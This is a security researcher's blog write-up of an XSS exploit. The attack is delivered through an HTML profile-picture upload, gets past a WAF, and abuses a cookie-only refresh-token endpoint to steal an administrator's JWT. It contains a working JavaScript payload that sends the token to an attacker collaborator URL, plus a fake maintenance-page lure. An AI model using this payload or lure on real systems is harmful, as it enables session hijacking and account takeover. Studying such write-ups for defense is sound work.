Canvas of Intrigue: A`Refreshing` Approach to Session Token Exfiltration with XSS
A story of infiltration transcending security layers with a novel approach
My most recent assessment involved evaluating a web application employed by a multinational corporation with huge employee base. The application was fortified with multiple security layers, making it a formidable fortress against cyber threats. I need to look beyond the conventional attack approaches and get creative.
My journey into the realm of intrigue began with a low-privileged user account with profile picture upload functionality. This feature is accepting HTML content as the file data(profile picture). At first glance, this seemed like a blank canvas susceptible to any kind of manipulation to me.
Security Layer 1: WAF
I devised a script payload with the aim of achieving a cross-site scripting (XSS) exploit but in vain. At this stage, I had the privilege to approach my esteemed mentor secureITmania for help. He was humble enough to advise me to check for WAF and try to bypass it with fuzzing primarily.
Armed with this insight, I initiated my instance of wafw00f in the terminal. The result was inconclusive. Undaunted, I proceeded to fuzz the profile picture upload request with various WAF bypass payloads
Applying some of the interesting results(with 401 status code) as payload in profile upload request, I was able to craft a successful payload to trigger XSS on the profile picture page. Surprisingly, this exploit had no discernible impact.
Security Layer 2: Session Defense
The application is serving static content with Session cookies which are equipped with most secure configuration(HttpOnly, Secure flags enabled and SameSite=Strict set).
Also the dynamic content is loaded with JWT token in an Authorisation header. The token was not stored in the browser storage(Local Storage, Session Storage).
This well crafted session defense made almost impossible to exfiltrate session information. Even performing sensitive operations on the application using malicious script is also not possible as the Authorization header does not append to the request.
Hit Refresh
Amidst these challenges, I delved into the authentication scheme in search of any leads. To my delight, my instinct led me to a crucial discovery — a refresh token request for session persistence. What piqued my interest was the fact that this request utilised only session cookies, which are typically reserved for serving static content.
Using this lead, I uploaded a HTML file with malicious script as profile picture in a low privileged account.
// XSS Payload
document.write("<script> const url = 'https://<domain>/api/v1/auth/refreshToken'; const headers = { 'Accept': 'application/json', 'Content-Type': 'application/json' }; fetch(url, { method: 'POST', headers: headers, credentials: 'include' }).then(response => { if (!response.ok) { throw new Error('Network response was not ok'); } return response.json(); }) .then(data => { console.log('Response data:', data); const responseBase64 = btoa(JSON.stringify(data)); const newUrl = `https://<collaborator_url>?base64data=${responseBase64}`; window.location.href = newUrl; }) .catch(error => { console.error('Fetch error:', error); });</script>");<!-- HTML page uploaded as profile picture -->
<html>
<head>
<title>Test</title>
</head>
<body>
<a onclick="'<XSS_Payload_base64_encoded>'))">
Hello, the website is under maintenance. Click here to redirect to other instance of the site. </a>
</body>
</html>
Observe from the HTML code that on loading the page, a site maintenance message will be displayed. If a victim clicks on the page, a refresh token request will be sent to the server. Since it is a same origin request the session cookies will be appended to the request. On receiving new JWT token(used for dynamic content) as response, it will be exfiltrated to attacker server.
In my web application context, I was able to serve the low privileged user photo(malicious) to admin and exfiltrated session token of admin.
Embrace complexity !!!!!!!!
